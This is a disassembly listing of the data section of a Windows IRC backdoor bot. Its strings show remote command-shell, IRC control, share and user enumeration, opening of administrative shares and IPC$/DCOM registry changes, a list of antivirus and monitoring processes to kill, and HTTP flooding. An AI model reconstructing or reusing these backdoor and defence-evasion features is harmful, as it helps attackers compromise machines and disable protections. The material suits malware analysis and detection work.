aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_418CE8:loc_418D38o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_418CE8:loc_418D2Eo
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_418CE8+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_418E66+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_418E66:loc_418F32o
aStarting	db '   Starting',0      ; DATA XREF: sub_418E66:loc_418F2Bo
aStoping	db '    Stoping',0      ; DATA XREF: sub_418E66:loc_418F24o
aRunning	db '    Running',0      ; DATA XREF: sub_418E66:loc_418F1Do
aContinuing	db ' Continuing',0      ; DATA XREF: sub_418E66:loc_418F16o
aPausing	db '    Pausing',0      ; DATA XREF: sub_418E66:loc_418F0Fo
aPaused_0	db '     Paused',0      ; DATA XREF: sub_418E66:loc_418F08o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_418E66+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_418E66+25o
		align 4
unk_4393AC	db  2Dh	; -		; DATA XREF: sub_418FA3+ABo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_4393D0	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418FA3+89o
		dd 73252720h, 27h
unk_4393EC	db  2Dh	; -		; DATA XREF: sub_418FA3+57o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_419198+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_419198+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_419198+B5o
unk_439438	db  2Dh	; -		; DATA XREF: sub_419198+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_419198+26o
		align 4
unk_439498	db  2Dh	; -		; DATA XREF: sub_4192B9+B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_4394C0	db  2Dh	; -		; DATA XREF: sub_4192B9+94o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_4394F0	db  2Dh	; -		; DATA XREF: sub_4192B9+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_439510	db  2Dh	; -		; DATA XREF: sub_4193FF+394o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_4193FF+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_4193FF+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4193FF+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_4193FF+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_4193FF+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_4193FF+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_4193FF+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_4193FF+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_4193FF+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_4193FF+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_4193FF+1CBo
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_4193FF+1A0o
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_4193FF+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_4193FF+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_4193FF+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_4193FF:loc_419518o
		align 10h
aUser_0		db 'User',0             ; DATA XREF: sub_4193FF:loc_419511o
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_4193FF:loc_41950Ao
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_4193FF+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_4193FF+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_4193FF+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_4193FF+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4197CD+14Fo
		align 4
unk_4396CC	db  2Dh	; -		; DATA XREF: sub_4197CD+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_4197CD+BEo
		align 10h
unk_439700	db  2Dh	; -		; DATA XREF: sub_4197CD+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4197CD+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41994D:loc_419A6Ao
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41994D:loc_419A63o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41994D:loc_419A5Co
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41994D:loc_419A55o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41994D:loc_419A4Eo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41994D:loc_419A31o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41994D:loc_419A2Ao
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41994D:loc_419A23o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41994D+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41994D:loc_4199F8o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41994D:loc_4199F1o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41994D:loc_4199EAo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41994D:loc_4199E0o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41994D+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41994D:loc_4199BAo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41994D:loc_4199B0o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41994D:loc_4199A6o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41994D:loc_41999Co
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41994D:loc_419992o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41994D+3Bo
		align 4
dword_439A08	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419A81+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_439A34	db  2Dh	; -		; DATA XREF: sub_419A81+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_439A60	dd offset aRegedit_exe	; DATA XREF: sub_419BAA+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_439B68
		dd offset dword_439B5C
		dd offset dword_439B50
		dd offset dword_439B44
		dd offset dword_439B38
		dd offset dword_439B2C
		dd offset dword_439B1C
		dd offset dword_439B10
		dd offset dword_439B04
		dd offset dword_439AF8
		dd offset dword_439AEC
		dd offset dword_439ADC
		dd offset dword_439AD0
		dd offset dword_439AC0
dword_439AC0	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_419BAA+ECo
					; ___:00439ABCo
dword_439AD0	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439AB8o
dword_439ADC	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439AB4o
dword_439AEC	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439AB0o
dword_439AF8	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439AACo
dword_439B04	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439AA8o
dword_439B10	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439AA4o
dword_439B1C	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439AA0o
dword_439B2C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:00439A9Co
dword_439B38	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:00439A98o
dword_439B44	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:00439A94o
dword_439B50	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:00439A90o
dword_439B5C	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:00439A8Co
dword_439B68	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:00439A88o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439A84o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439A80o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:00439A7Co
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:00439A78o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:00439A74o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:00439A70o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:00439A6Co
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:00439A68o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:00439A64o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_439A60o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419BAA+191o
		align 4
unk_439C18	db  2Dh	; -		; DATA XREF: sub_419DD9:loc_419E60o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_439C3C	db  2Dh	; -		; DATA XREF: sub_419DD9+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_439C60	db  2Dh	; -		; DATA XREF: sub_419DD9+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419F76+33o
unk_439C90	db  2Dh	; -		; DATA XREF: sub_419FFD:loc_41A12Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439CC0	db  2Dh	; -		; DATA XREF: sub_419FFD+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_439CE8	db  2Dh	; -		; DATA XREF: sub_419FFD:loc_41A0E3o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_439D18	db  2Dh	; -		; DATA XREF: sub_41A152+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_439D4C	db  2Dh	; -		; DATA XREF: sub_41A152+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_439D70	dd offset dword_439DA8	; DATA XREF: sub_41A367+1B3o
					; sub_41A68B+17Ao
		align 8
		dd offset dword_439DA0
		align 10h
off_439D80	dd offset dword_439D9C	; DATA XREF: sub_41A68B+1E3o
		dd offset dword_439D98
		dd offset dword_439D94
		dd offset dword_439D90
dword_439D90	dd 5C3A44h		; DATA XREF: sub_41A367+217o
					; ___:00439D8Co
dword_439D94	dd 2444h		; DATA XREF: ___:00439D88o
dword_439D98	dd 5C3A43h		; DATA XREF: ___:00439D84o
dword_439D9C	dd 2443h		; DATA XREF: ___:off_439D80o
dword_439DA0	dd 494D4441h, 244Eh	; DATA XREF: ___:00439D78o
dword_439DA8	dd 24435049h, 0		; DATA XREF: ___:off_439D70o
dword_439DB0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367+2E5o
					; sub_41A68B+2D8o
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_439DE0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_439E08	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367:loc_41A5C9o
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_439E34	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_439E58	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367:loc_41A536o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_439E84	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_439EA8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367:loc_41A499o
					; sub_41A68B:loc_41A7B9o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_439ED8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367:loc_41A492o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_439F14	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367:loc_41A474o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_439F48	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A367+EDo
					; sub_41A68B+EDo
		align 4
dword_439F98	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367+91o
					; sub_41A68B+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_439FC8	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41A367:loc_41A3D4o
		dd 62617369h, 2E64656Ch, 0
dword_439FE8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A367+54o
					; sub_41A68B+54o
		align 4
dword_43A018	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A68B+2C0o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A68B+22Ao
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A68B+219o
dword_43A048	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A68B:loc_41A82Ao
					; sub_41A68B:loc_41A8F8o
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A070	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A68B+198o
					; sub_41A68B+266o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A090	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A68B:loc_41A7B2o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A0CC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A68B:loc_41A794o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A104	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A68B+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A144	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A68B:loc_41A6F8o
		dd 6C62616Eh, 2E6465h
dword_43A160	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A68B+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A9BC+DEo
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_43A1B8	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41AB97+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41AB97+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41AB97+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41AB97+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41AB97+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41AB97+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41AB97+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41AB97+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41AB97+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41AB97+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41AB97+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41AB97+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41AB97+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41AB97+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41AB97+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41AB97+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41AB97+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41AB97+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41AB97+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41AB97+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41AB97+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41AB97+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41AB97+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41AB97+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41AB97+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41AB97+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41AB97+15o
dword_43A3C4	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AF2B+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A4A0	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AF2B+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF2B:loc_41B08Fo
		align 4
dword_43A4C4	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41B1DF+ABo
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A508	dd offset loc_412F4E	; DATA XREF: sub_41B1DF:loc_41B253o
off_43A50C	dd offset dword_4E414C	; DATA XREF: sub_41B1DF:loc_41B24Co
dword_43A510	dd 6C616944h, 70752Dh	; DATA XREF: sub_41B1DF+5Bo
dword_43A518	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41B1DF+48o
unk_43A528	db  2Dh	; -		; DATA XREF: sub_41B2A5:loc_41B45Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A558	db  2Dh	; -		; DATA XREF: sub_41B2A5:loc_41B457o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43A584	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41B2A5+1A0o
		dd 4C525520h, 2Eh
unk_43A5A0	db  2Dh	; -		; DATA XREF: sub_41B2A5:loc_41B438o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43A5DC	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41B2A5+18Co
		dd 64657469h, 2Eh
dword_43A5F8	dd 2A2F2Ah		; DATA XREF: sub_41B2A5+3Bo
word_43A5FC	dw 4			; DATA XREF: sub_41B4FB+10r
		align 10h
dword_43A600	dd 6325h		; DATA XREF: ___:0041B83Co
dword_43A604	dd 0DFFh		; DATA XREF: ___:0041B68Ao
dword_43A608	dd 51FFh		; DATA XREF: ___:0041B67Fo
dword_43A60C	dd 0EBFFh		; DATA XREF: ___:0041B674o
dword_43A610	dd 201h			; DATA XREF: ___:0041B65Fo
dword_43A614	dd 20424652h, 2E333030h, 0A383030h, 4 dup(0) ; DATA XREF: ___:0041B64Do
dword_43A630	dd 5EF20C7Fh		; DATA XREF: sub_41C058+4w sub_41C062r ...
		align 10h
dword_43A640	dd 173Fh		; DATA XREF: sub_41CDE5+Dr
		dd 9875h, 9873h
off_43A64C	dd offset sub_41CEB4	; DATA XREF: ___:0041BF04r
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0CEh, 41h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0CEh, 41h, 0
dword_43A658	dd 1B3Fh		; DATA XREF: sub_41CF2B+Dr
dword_43A65C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41D3AD+2o
					; sub_41D3B6+2o
off_43A670	dd offset sub_41BF42	; DATA XREF: sub_41E1C9+1Cr
dword_43A674	dd 2			; DATA XREF: sub_423498+Er
					; sub_4234D1+46r ...
		dd 10h
dword_43A67C	dd 3F8h			; DATA XREF: sub_41BB48+4Dr
					; sub_41BCD9+5r ...
off_43A680	dd offset word_43A68A	; DATA XREF: sub_41BE6E+23r
					; sub_41BE6E:loc_41BECFr ...
off_43A684	dd offset word_43A68A	; DATA XREF: sub_426B2A+18r
		db 2 dup(0)
word_43A68A	dw 20h			; DATA XREF: sub_424C57+18r
					; ___:off_43A680o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43A88C	dd 1			; DATA XREF: sub_41BE6E:loc_41BE76r
					; sub_41BE6E:loc_41BEBAr ...
byte_43A890	db 2Eh			; DATA XREF: sub_420445:loc_420739r
					; sub_420445+311r ...
		align 4
		dd 1
off_43A898	dd offset aNull_0	; DATA XREF: sub_41F5D4:loc_41F938r
					; sub_41F5D4+457r
					; "(null)"
off_43A89C	dd offset aNull		; DATA XREF: sub_41F5D4+259r
					; "(null)"
byte_43A8A0	db 1			; DATA XREF: sub_41FDDE+E1r
		db 2, 4, 8
		align 8
dword_43A8A8	dd 3A4h			; DATA XREF: sub_41FDDE+2Fo
dword_43A8AC	dd 82798260h, 21h, 0	; DATA XREF: sub_41FDDE+11Dr
dword_43A8B8	dd 0DFA6h		; DATA XREF: sub_41FDDE+C0r
		align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43A998	dd 1			; DATA XREF: sub_41FDDE+3Co
					; sub_420314+Co
dword_43A99C	dd 16h			; DATA XREF: sub_420314:loc_420349r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43AB00	dd 0D2D0920h, 5Dh	; DATA XREF: sub_420314+19o
					; sub_420445:loc_4209ACo
dword_43AB08	dd 5Dh,	0		; DATA XREF: sub_420445:loc_42089Co
dword_43AB10	dd 14h			; DATA XREF: sub_421559+2o
off_43AB14	dd offset aExp		; DATA XREF: sub_421559:loc_421576r
					; "exp"
